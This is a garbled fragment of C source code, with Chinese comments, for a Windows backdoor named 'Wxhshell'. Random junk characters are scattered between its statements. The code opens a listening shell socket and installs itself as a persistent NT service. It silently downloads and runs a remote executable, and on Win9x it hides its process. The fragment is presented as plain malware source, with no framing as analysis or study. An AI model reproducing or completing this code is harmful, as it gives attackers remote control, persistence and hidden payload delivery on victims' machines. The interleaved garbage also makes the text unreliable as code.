5L\&"[' } "kd)dy95H " `FcW // 主模块 zy(NJ int StartWxhshell(LPSTR lpCmdLine) x7ZaI{ { yXT8:2M SOCKET wsl; Ra/Pk G-7 BOOL val=TRUE; T: I34E[ int port=0; 7]H<ou struct sockaddr_in door; cB=ExD.Q b|oT!s if(wscfg.ws_autoins) Install(); #gsJ
tT9 cPy/}A port=atoi(lpCmdLine); "."ow| Oe
~g[I; if(port<=0) port=wscfg.ws_port; xtO#reL"q? }\0ei(%H WSADATA data; ~sT1J| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {2F@OfuCF J"~!jrzBh( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; YpI|=mv setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6|n3e,&A2 door.sin_family = AF_INET; o2~P
vef door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dl@Jj?zc door.sin_port = htons(port); `3yK<- Z@,[a if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d$hBgJe>N closesocket(wsl); Q|xa:`3? return 1; *}) W> } GRh430V[ |p.|zH if(listen(wsl,2) == INVALID_SOCKET) { JIPBJ closesocket(wsl); qWM+!f return 1; 5Mz:$5Tm } N@0cn
q:" Wxhshell(wsl); ny1;]_X_ WSACleanup(); pZz\o [ylRq7^e return 0; ,pIh.sk7s* /mXxj93UA } lFl(Sww!\ stQ_Ke // 以NT服务方式启动 %
:h%i| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6=:s3I^ { ! k 1 Ge+ DWORD status = 0; @;\0cEn> DWORD specificError = 0xfffffff; Q_>W!)p Gz R,ZG?/#uM9 serviceStatus.dwServiceType = SERVICE_WIN32; nF
B]#LLv serviceStatus.dwCurrentState = SERVICE_START_PENDING; MXiQWg$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dTjDVq&Hz serviceStatus.dwWin32ExitCode = 0; 9y&bKB2, serviceStatus.dwServiceSpecificExitCode = 0; |j~l%d*<w serviceStatus.dwCheckPoint = 0; _"*}8{| serviceStatus.dwWaitHint = 0; 6H=gura& 0X3yfrim hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UmR4zGM} if (hServiceStatusHandle==0) return; 2Qt!JXC S5V:H Rj{? status = GetLastError(); "hi03k if (status!=NO_ERROR) %=!] 1 { u'nQC*iJb serviceStatus.dwCurrentState = SERVICE_STOPPED; $,P:B%] serviceStatus.dwCheckPoint = 0; 6?'7`p serviceStatus.dwWaitHint = 0; )k;;O7Ck serviceStatus.dwWin32ExitCode = status; m*jTvn serviceStatus.dwServiceSpecificExitCode = specificError; flT6y-d SetServiceStatus(hServiceStatusHandle, &serviceStatus); XO+rg&Pu return; /,`OF/% } WdH/^QvTP qVfl6q5 serviceStatus.dwCurrentState = SERVICE_RUNNING; tuLNGU serviceStatus.dwCheckPoint = 0; T<-_#}.Hn serviceStatus.dwWaitHint = 0; Ss%1{s~ok if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~Up{zRD"B } 4(p`xdr}K s VHk;:e>x // 处理NT服务事件,比如:启动、停止 n*Uk<_WA VOID WINAPI NTServiceHandler(DWORD fdwControl) .G#li(NWH { hD=.rDvO switch(fdwControl) |c^ ?tR< { 1jej7p>K case SERVICE_CONTROL_STOP: <v'&Pk< serviceStatus.dwWin32ExitCode = 0; )U=]HpuzI serviceStatus.dwCurrentState = SERVICE_STOPPED; sM+~x<}0 serviceStatus.dwCheckPoint = 0; Ek1c >s,t serviceStatus.dwWaitHint = 0; AgZ?Ry { GC:q6} SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Ba_epM } em'ADRxG+ return; -]+pwZ4g case SERVICE_CONTROL_PAUSE: "F%JZO51 serviceStatus.dwCurrentState = SERVICE_PAUSED; [q Uv|l1 break; vxHFNGI case SERVICE_CONTROL_CONTINUE: U(#JC(E-# serviceStatus.dwCurrentState = SERVICE_RUNNING; iGkysU<wcp break; le]~Cy0 case SERVICE_CONTROL_INTERROGATE: x x4GP2 break; N#2ldY * }; =YTcWB SetServiceStatus(hServiceStatusHandle, &serviceStatus); - Z`RKR8C } H>A6VDu ZXGi> E // 标准应用程序主函数 QW$p{ zo int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l<BV{Gl { !1fZ7a ),-gy~ // 获取操作系统版本 )Qd
x OsIsNt=GetOsVer(); |?ssHW GetModuleFileName(NULL,ExeFile,MAX_PATH); HC/z3b; !3Pbu=(cte // 从命令行安装 !Av9?Q: if(strpbrk(lpCmdLine,"iI")) Install(); U(9_&sL ^:]$m;v] // 下载执行文件 6tndC
o; ` if(wscfg.ws_downexe) { h='F,r5#2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t`&x.o WinExec(wscfg.ws_filenam,SW_HIDE); 8lL|j } tKeTHj;jO q;") if(!OsIsNt) { uINdeq 7|F // 如果时win9x,隐藏进程并且设置为注册表启动 0'fswa) HideProc(); 9&5<ZC-D StartWxhshell(lpCmdLine); ".tL+A[ } Ff%V1BH[ else -X~mW
if(StartFromService()) Cf3!Ud // 以服务方式启动 qS2Nk.e]o StartServiceCtrlDispatcher(DispatchTable); i*Ldec^ else k%sH0 9 // 普通方式启动 2h'Wu
qO StartWxhshell(lpCmdLine); BUJ\[/ `}$o<CJ return 0; %KXiB6<4 }
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